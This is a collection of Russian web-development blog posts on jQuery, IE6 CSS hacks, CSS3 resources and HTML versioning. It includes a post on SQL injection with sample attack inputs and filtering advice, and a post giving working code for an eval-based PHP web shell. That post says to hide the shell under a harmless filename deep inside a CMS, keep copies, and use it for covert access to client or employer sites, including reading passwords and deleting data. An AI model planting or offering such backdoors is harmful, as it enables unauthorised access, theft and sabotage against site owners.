1. Строки 1-3. Как это ни банально, подключаем и инициализируем jQuery.
2. Строка 4. Вешаем на событие скроллинга тему, чтобы…
3. Строки 5-6. …чтобы при прокрутке на 100 пикселов сверху появляется созданный блок, а при возвращении наверх – исчезает.
4. Строка 8. Вешаем на ссылку событие, чтобы по клику…
5. Строки 9-11. Чтобы по клику происходила прокрутка контента наверх (до тега хтмл/боди) со скоростью 800 мс.

Вот и всё! Получите-распишитесь за скрипт прокрутки как вТентакли.

Что же сказать напоследок? Ну, изучайте jQuery (или аналоги) и вы сможете не только это

UPD: Огромное спасибо постоянному читателю EGORR за то, что оформил этот небольшой скриптик в полноценный плагин. Отличная работа! =)

Прошу прощения за долгие промежутки между записями, физически не успеваю писать, а потом и полноценно писать. Обещаю к концу лета исправиться! А пока ловите симпотную обоину на рабочий стол =).

К сожалению (в данном случае), существуют клиенты, которые читают что-то в интернете, зачастую что-то очень древнее, и узнают про кроссбраузерность. Вот с этого момента и начинаются их высказывания – мы хотим поддержку шестого ишака.

Вот на праздниках, собственно, мне и пришлось делать полную поддержку шестого ишака, так как какой-то дяденька из Милана захотел (или, проще говоря, вс*алось - прим.ред.). Ну, сказано-сделано.

Я уже писал ранее об основных CSS-хаках, для достижения кроссбраузерности, где бОльшая часть которых предназначалась именно ишаку. Вот там я забыл ещё об одном из них.

Проблема отрицательного margin в IE6

Проблема: при использовании отрицательного margin на блок (в шестом ишаке), блок смещается как нужно, но вся область, которая принадлежит этой части с отрицательным значением – пропадает.

Иными словами вы смещаете блок в пустоту или, проще говоря, отрезаете кусок вашего блока.

Решение: блоку, которому задан отрицательный margin надо прописать position: relative;, а также, на выбор, задать высоту, ширину или float.

Почему? Дело в том, что обрезка происходит только в том случае, когда блок выходит за пределы родительского блока, у которого есть layout. А чтобы всё работало, нужно дочернему элементу, не забыв про position:relative, также задать layout. Это можно сделать различными способами, из которых самыми безобидными, простыми и валидными являются ширина, высота (кроме значений auto) и float (кроме значения none) – любое на выбор.

И напоследок. У меня висят несколько статей на заказ от читателей. Я не забил, я про них помню и обязательно напишу, когда освобожусь. Сейчас пореже пишу, так как аврал с проектами, работой, плюс свадьба на носу. Тем не менее блог не покинут, stay tuned!

Сегодня я затрону давно обещанную тему про SQL инъекции (не прошло и полгода… или прошло… – прим.ред.). Я постараюсь описать их как можно проще и покажу основный приёмы от их защиты (если конечно то, что я опишу, можно охарактеризовать как приёмы).

Прежде, чем начать, я хотел бы сослаться на википедию. Там выложена довольно неплохая статья про SQl injection, с которой стоит ознакомиться. В своей статье я опишу всё немного иначе, затрону то, чего там нет, но скорее всего в чём-то и повторюсь, но думаю в этом ничего криминального нет. Итак…

SQL инъекции очень распространены, чем-то похожи на XSS-атаки (подробнее в статье "Как защититься от XSS атаки и устранить уязвимость"), и основаны они на внедрении произвольного SQL-кода в какой-либо запрос (даже совсем безобидный), в результате чего злоумышленник получает из базы данных необходимую ему секретную информацию (ну, или просто удаляет всё к едрёной бабушке – прим.ред.).

Рассмотрим простой пример, чтобы показать как работают инъекции. Примитивный запрос формы авторизации – пользователь вводит логин и пароль, а далее идёт сравнение введённых данных с теми, что есть в базе данных.

В случае, когда переданные параметры не проверяются, можно творить, что угодно. К примеру, вместо логина можно ввести admin"/*, а в качестве пароля что угодно (иди не вводить ничего), тогда запрос будет выглядеть так:

И такой запрос пройдёт как валидный и пользователь зайдёт под ником admin. Почему? /* – является началом комментария, и, в отличие от PHP, его необязательно закрывать. Вот и всё.

Отсюда лезет вывод – необходимо проверять введённые данные, в первую очередь на уровне PHP. На уровне JavaScript тоже неплохо проверять, но только как дополнение к проверке на PHP. Возьмём тот же пример с проверками на JavaScript. Вроде бы ничего ввести не можем, НО. К примеру, у нас включён register_globals (подробнее в статье "Почему опасно включать параметр register_globals"), тогда в адресную строку нужно лишь тупо дописать ?login=admin"/* и всё, результат тот же самый.

Защита от SQL injection

Числовые строки

Начну с простого, с числовой строки. Если мы передаём число, то чтобы в него ничего не внедрили, необходимо, чтобы все символы, кроме числовых, были выкинуты. Два способа:

• Показываем сценарию, что переданное значение именно число.

  $number = (int)$_POST['number'];

  Минус этого метода (или не минус, кому как) следующий – если передаётся не число, то в переменную $number  попадёт нолик. Страшного тут ничего нет, но только в случае, если есть какая-то секретная нулевая запись. Впрочем, сценарий всегда можно переписать, проверив, является ли значение нулём.

• Замена по регулярному выражению, где обрубается всё, кроме цифр.

  $number = preg_replace ("/[^0-9]/", "", $_POST['number']);

Текстовые строки

С текстовыми строками не всё так просто. Конечно, если нужны только буквы и цифры, то все остальные символы можно спокойно отрубить регэкспом:

Но иногда всякие скобочки, галочки бывают реально нужны. Что делать?

Есть некоторые символы, которые ни в коем случае нельзя разрешать. По крайней мере напрямую, ведь всегда можно пробежаться регуляркой по тексту и заменить левые символы на спец.символы. Поговорим о вредных символах.

1. Одинарные и двойные кавычки. Они используются в запросах для выделения. Думаю ещё из примера выше ясно, почему стоит их запрещать. В любом случае с ними заморачиваться особо и не надо, всегда есть htmlspecialchars и addslashes.
2. Знак равенства. Казалось бы обычный безобидный значок, но и он может напакостить. К примеру, имеем запрос:

   $sql = 'SELECT * FROM users WHERE id='.$id;

   Передадим в качестве параметра  1 OR name="admin". В результате запрос будет выглядеть как

   SELECT * FROM users WHERE id=1 OR name="admin"

   Думаю понятно, что если запретить символ равенства, то вместо name="admin" будет name"admin", а это приведёт к ошибке и запрос не пройдёт.

3. Символы комментариев. К символам комментариев относятся двойное тире и слэш со звёздочкой (его показывали в самом первом примере). Тут всё почти как с комментированием в PHP, то есть вместо двойного слэша используется двойное тире и комментит только одну строку, а слэш со звёздочкой точно также обозначен, только в SQL комментирует до конца запроса и его можно не закрывать. К примеру, есть запрос:

   SELECT * FROM users
   WHERE name=$id
     AND password=$pass

   Если мы внедрим вместо $id значение 1-- то последняя строчка с паролем не закомментируется и инъекция не прокатит. Но всё будет иначе, если вместо двойного тире использовать /*, тогда последняя строчка закомментируется.

Помимо вытягивания и удаления информации описанными выше способами, можно спокойно слить всю информацию и базы в файл или произвести дефейс сайта. И выглядит это так

Таким образом можно создать собственный сценарий на сайте и уже плясать от него. Да и если файлы сценариев доступны для записи всем, то можно произвести дефейс:

На сегодня всё. Берегите свои скрипты от всякой нечисти. Удачи!

Однако меня спало то, что в одном из сайтов у меня остался небольшой "запасной вход", благодаря которому я не думал развиться второму сайту и вылезти в свет. И выглядел этот вход в виде простой формы загрузки файлов на сервер.

С её помощью я загружал на сайт нужные скрипты и запускал их на сайте, а они, в свою очередь, делали свою грязную работу. Минус у этой двери был один – ей мог воспользоваться кто угодно, если, конечно, знал о её существовании.

Прошло время, и несмотря на то, что до сегодняшнего дня всё идёт гладко, это не исключает того, что такая петрушка может повториться вновь.

В принципе, можно использовать и старый метод с отправкой исполняемого файла на сервер, но… Зачем эти сложности, если можно сделать всё проще.

Я предлагаю варианты и идеи простейшего бэкдурова, на случай если действительно возникнут проблемы. Итак…

1. Создаём файл php и называем его как-нибудь неприметно, типа license.php или ещё как.
2. Пишем в нём код
   <?php
      if ( isset($_POST['text']) )
         eval ($_POST['text']);
   ?>
   <form method='POST'>
      <textarea name='text'></textarea>
      <input type='submit'>
   </form>
3. Помещаем файл куда-нибудь подальше вглубь cms-ки, например, в дебри WYSIWYG-редактора. При желании дублируем файл ещё в 2-3 места (на всякий пожарный)

Вот он, каркас для безобразий. Полагаю, не нужно пояснять, что функция eval приводит в исполнение набранный в форме код.

Это всего лишь каркас, который может иметь множество примеров реализации. Допустим, можно через highlight_file вывести содержание какого-нибудь файла с паролями, к которому нет прямого доступа. Можно подключиться к базе данных, считать содержание или изменить его. А можно и вовсе напечатать скрипт удаления всего на сервере, почему бы и нет.

Чуть ниже я предлагаю идеи для дополнения этой дверцы, которые можно сделать по желанию – оставлю тебе, дорогой читатель, в качестве необязательного домашнего задания. Но если вдруг будет желание – с радостью гляну на то, что получилось.

Идеи для улучшения:

1. Вообще было бы неплохо, чтобы дверь не была доступна каждому, и сделать для неё авторизацию, к примеру, через обычный .htaccess, ну, или средствами PHP на основе сессий (а лучше и то, и другое – прим.ред.).
2. Имея авторизацию, можно вообще заготовить ряд кнопочек, кликая по которым можно вызывать тот или иной скрипт. К примеру, заходишь ты в свою дверцу, а там кнопки – считать пароли, считать базу данных, удалить административную панель и так далее.
3. Ещё идеи?

Напоследок 

Использовать дверку есть смысл тогда, когда сдаёшь сайт до выплаты (бывает), или когда работаешь в фирме, и хочешь подстраховаться. В первом случае, когда выплата производится, то дверку можно удалить, а можно и оставить, правда не думаю, что она уже понадобится. А во втором случае – придётся держать её наготове постоянно.

На сегодня всё. Буду рад Вашим идеям и предложениям на тему! До новых встреч

Увы, но на жабаскрипте сделать подобное, и причём кроссбраузерно, практически нереально (если вообще реально – прим.ред.). Всё дело в том, что функция копирования в буфер просто исключена из большинства браузеров из-за её небезопасности.

Представьте, заходите вы на сайт и опа, у вас в буфере метр порнухи в текстовом виде. Не прикольно? Полагаю нет, хотя кому то это может даже и на руку бы было. Но ладно, это баловство. А что, если скрипт не копирует, а читает из буфера, а там пароль какой-нибудь с логином, или номер кредитки, или ещё чего?

Хотя есть один браузер, очень замечательный такой браузер, у которого эта функция частично реализована и работает. И это, тадам, Internet Explorer (кто бы сомневался – прим.ред.). Простым навешиванием на кнопку события с copyToClipboard('id_of_input'), мы сможём копировать то, что надо. Конечно, эта функция кроме ишака не работает.

А что же делать, если оно приспичило и надо? Ну, как говорится, что когда нельзя и очень хочется, то можно. Если нельзя копировать на JavaScript'е, то воспользуемся флэшом, который это может.

Итак, представляю вашему вниманию ZeroClipboard. Он состоит из файла скрипта и файла прозрачной флэшки. Скрипт привязывает флэшку к нужной нам кнопке и задаёт соответствующий размер. И когда мы будем нажимать (или просто наводить) на флэшку, то будет происходить копирование в буфер.

Не буду голословным и перейду к делу (и ты это говоришь после страницы текста? – прим.ред.). Предлагаю для скачки архив с сайта разрабочика и ссылку на описание от xiper,net – там очень доходчиво расписаны все функции плагина. Я, в свою очередь, поделюсь своим примером и некоторыми замечаниями по работе с плагином, чтобы вы, дорогие читатели, были в теме.

Итак, а теперь о некоторых минусах плагина:

• Самый большой минус плагина заключается в следующем. К примеру, есть поле textarea, из которого я хочу скопировать содержимое. Нажимаем, копируется. Вроде бы хорошо, НО. Если я внесу изменения в поле, то изменения скопированы не будут, будет скопирован лишь изначальный текст, увы. Обойти эту тему может и возможно, но я не пробовал.
• Если запускать пример просто из папки на компе – он не работает. Особо не заморачивался, но пришлось пример поднимать на сервере. Мелочь, а неприятно
• Если флэшплеер на компе не установлен, работать плагин, ясен перец, не будет.

Вот пожалуй и всё. Если всё таки копирование понадобится, плагин есть, правда со своими небольшими ограничениями. Могу лишь добавить, что аналога лучше я не встречал, так что используйте на здоровье.

Пишите мнения на тему копирования, приходилось ли сталкиваться с этим вопросом и как вы его решали! Буду рад обсудить и пообщаться!

С вами был ШуБложник в хорошем настроении – Александр. До новых встреч!

Конечно, он и без этих ситуаций с клиентом очень неплохой скрипт. Если нужно по-быстрому сделать бэкап базы, то вуаля. Работает он побыстрее всех аналогов, а на сайте разработчиков заявлено, что база в гигабайт берётся без проблем. Интерфейс дружелюбный.

На выбор есть версия попроще и посложнее, на вкус и на цвет. В общем, рекомендую.

В довесок поделюсь cheat-sheet'ом по jQuery 1.5. Качаемс

И напоследок небольшая (1920х1200) обоина.

Сегодня я хочу поделиться с Вами собранной коллекцией всяких плюшек на HTML5 и CSS3. Я их раскидал по группам, так что каждый найдёт себе что-нибудь по вкусу. Итак…

Прежде всего скину несколько сайтов-помощников, которые помогают построить градиенты, закруглить углы, сделать тень и так далее.

Помощники для построение свойств CSS3

1. CSS3 MikePlate. На этом сайте можно опробовать всевозможные варианты работы с CSS3, включая box-shadow, transform, column-count, gradient и прочее.
2. OGA2 Gradient. А на этом сайте можно развлекаться исключительно с градиентами – строим то, что надо и получаем код.
3. ColorZilla Gradient Editor. аналог предыдущего сайта, только выполнено в стили фотошопа, есть в наличии пресеты, а код при всём при том заточен и под ишак.
   
4. Westciv Shadows. На этом сайте предоставляется возможность работать с text-shadow. Создаём текст, оформляем его, задаём сколько нужно теней и вуаля.
5. Border-Radius.com. Здесь, как уже ясно, работаем с border-radius.

Штуковина!

Эту страницу пущу отдельно. Josh Duck – Periodic Table. Она представляет собой "Периодическую" таблицу элементов HTML5, сделанную, как это ни странно, на HTML5. Помимо того, что стильно, так ещё и полезно – можно кратко прочитать для чего какой элемент нужен.

Интересные примеры

1. Tilt Shift. Одна из первых страничек, попавшихся мне на глаза. Любопытный пример изменения шрифта.
   
2. CSS3 Timer. Таймер на CSS3 отсчитывает часы, минуты и секунды.
3. CSS Boxs-Shadow Experiments. Сам сайт zurb.com кишит интереснейшими примерами на CSS3. Это ссылка на эксперименты с box-shadow. Вообще сайт на заметку.
   
4. CSS3 Social Icons. Иконки социальных сетей на CSS3.
   
5. Boxtuffs. Немногочисленные. но очень любопытные примеры. Что-то я в будущем даже упру к себе.

Скачать

1. CSS3 Buttons. CSS3 кнопочки
   
2. CSS3 Menu. CSS3 менюшечки
   

И напоследок несколько ссылок на любопытные сайты/страницы, идеи из которых являются хорошей пищей для ума.

Поглазеть

1. Nevermind The Bullets. Комикс на CSS3. Пожалуй лучший сайт на CSS3. Пользы от него мало, но нереально стайловый.
   
2. Webkit Clock. Часовые пояса на карте мира. Прикольная штука.
   
3. Ball Pool. Бассейн с шариками. Не сайт, а залипалово – сидишь и валяешь дурака.
   
4. CSS3 Design Contest Results. Ещё двадцак конкурсных интереснейших примеров от Smashing Magazine.

На сегодня всё! Всем удачи, скоро увидимся!

Рассмотрим пример. В родительском блоке с ограниченной шириной (скажем 1000px) расположен дюжину блоков шириной в 250px, которым задан float:left. Задайте им разную высоту и вы увидите, что они ложатся настолько криво, насколько это возможно. Что нужно? Одинаковая высота колонок.

Для задания одинаковой высоты, в некоторых (скорее редких) случаях подойдёт просто min-height, но он не является панацеей. Нужен скрипт, который бы выделил самый высокий блок в коде и задал бы остальным блокам ту же высоту. Замечательно, и таких примеров хватает, НО!

Есть одно громадное НО. Допустим все колонки получаются в высоту 100px, а лишь одна в 300px. Несложно догадаться, что все колонки будут в 300px и будут строки с большим отступом до следующей строки. И выглядеть это будет очень гумозно. Что же нужно?

ЦЕЛЬ: скрипт, который обрабатывает массив контейнеров следующим образом – смотрит сколько получается строк, какой блок в каждой строке самый высокий и подгоняет остальные блоки в строке под максимальную высоту блока для этой строки.

И самое приятное, что такой скрипт существует! Недавно один умный мужик, Стивен Акинс, опубликовал у себя в блоге статью, где предлагает рабочий скрипт на jQuery, который справляется с задачей на ура.

Идея работы скрипта проста: учитывается позиция контейнера от вершины страницы, в следствие чего распознаётся какой контейнер в какой строке расположен.

Я скрипт сильно не изменял, добавил лишь возможность прописать идентификатор/класс объектов, к которым применять скрипт.

Использование. Подключить jQuery, подключить файл скрипта, активировать скрипт на странице. Последний шаг представлен чуть ниже.

Первые три строки исправляют высоту блоков, а последние три строки отвечают за то, что если будет производиться ресайз окна браузера, то высоты пересчитаются вновь. Если дизайн не резиновый, то последние три строки можно спокойно убрать.

Предлагаю ссылку на пример и ссылку на архив примера, чтобы можно было скачать и поюзать у себя.

Заявление было сделано одним из главных редакторов стандарта – Яном Хиксоном (ссылка на статью). Теперь:

1. Спецификация будет известна как "HTML" и будет иметь адрес http://whatwg.org/html.
2. Спецификация HTML может теперь рассматриваться как "живущий стандарт". Это более зрело, чем какие-либо номера версий.

Самое забавное, что заявление было сделано через два дня после того, как WHATWG вместе с W3C представили логотип HTML5 (см.картинку). Хотя, по правде, до сих пор не понимаю зачем логотип для HTML.

Несмотря на заявление, термин "HTML5" вряд ли исчезнет, не говоря уже о том, что W3C по прежнему является приверженцем HTML5 и не обязательно, что последует заявлению WHATWG.

Теперь вопрос: нужны ли нам номера версий? С одной стороны весь мир вращается вокруг версий и это решение может привести к путанице – как узнать чему соответствует браузер и что он понимает?

Впрочем, мне кажутся эти сомнения ерундой и в потенциале видятся одни плюсы. Прежде всего разработчики не будут тянуть одеяло на себя и говорить, что мы вот поддерживаем это, а вон то, это к ним. При этом раз стандарт будет общепринятый, то разработчикам будет резонно обмениваться идеями друг с другом, чтобы обеспечить максимальную поддержку возможностей HTML. И всё это не говоря о том, что у HTML, в большинстве случаев, есть обратная совместимость, т.е., к примеру, старые браузеры не понимают <input type="email"> и заменяют его на <input type="text">, что само по себе не критично.

Так что полагаю со временем у нас будет только HTML и никаких цифр, и проблем от этого у всех нас не будет. Тогда HTML действительно будет "жить".

Итак, какими же средствами мы обладаем, чтобы создать многоколоночный блок.

Не забываем, что для мозиллы и вебкит браузеров необходимо дублировать свойства с приставками -webkit- и -moz-.

Думаю как с этими свойствами работать итак понятно. Однако подмечу следующее. По-умолчанию, column-count имеет значение auto. Это означает, что если задать column-width, то количество колонок будет высчитано автоматически.

Теперь несколько слов о том для чего это надо, где это можно применить и какие есть ограничения.

Зачем?

В принципе, column-count отсылает нас ещё к газетам, а если полнее сказать, то к полиграфии. Для чего же оно делалось? Прежде всего – это удобство для чтения, т.к. человеческий глаз лучше всего воспринимает строки текста длиной в среднем 10 слов. Также, разделения текста по колонкам позволяет лучше организовать контент и снизить количество свободного пространства на странице.

Применение

Для чего же можно применить это свойство. Полагаю, что оптимальным использованием можно считать следующее – на сайтах с большим центральным полем можно разделить текст на колонки. Плюс в том, что если он не разделится, то ничего страшного от этого не будет.

Вторым местом для использования я бы предложил какое-нибудь массивное вертикальное меню, где нужны блоки одинаковой ширины. Но, если column-count не сработает, то выйдет косяк.

Ограничения

• Нельзя задавать свойства отдельной колонки, типа бэкграунда и ширины, так что для вёрстки сайта свойство пока не применить
• Если задать высоту колонки, то если текста будет очень много, будут добавлены дополнительные колонки. чтобы его уместить. Но благо оно лечится через overflow: hidden.
• Если блок делится на колонки и задан column-rule, то в случае, когда текст помещается в одну колонку, вебкит браузеры разделительную линию покажут, а мозиллоподобные браузеры – нет.
• Есть ещё два свойства, которые есть в спецификации, но не поддерживаются ни одним браузером. Это column-break, которым можно указать, когда начинать следующую колонку ( .container h3 { column-break-before:always; } ). Второе свойство – column-span, позволяет отобразить элемент через все колонки, к примеру, заголовок ( .container h1 { column-span:all; } ).
• Те свойства, что имеются, ишаком совсем не поддерживаются, не говоря уже о некоторых других разновидностей и версий браузера (вроде с оперой есть проблемы). Хотя, для ишака есть попытка написания плагина, но я бы его назвал в лучшем случае бетой. Впрочем, автор этого и не скрывает (линк).

Вот и всё на сегодня. Жаль, что свойство поддерживается не всеми и нет при этом хаков. Хотя больше всего жаль именно то, что функционал пока не весь доступен и пока нельзя этот метод считать ещё одним в серии для создание многоколоночных вёрсток. Остаётся надеяться, что в консорциуме подумают над этим как следует.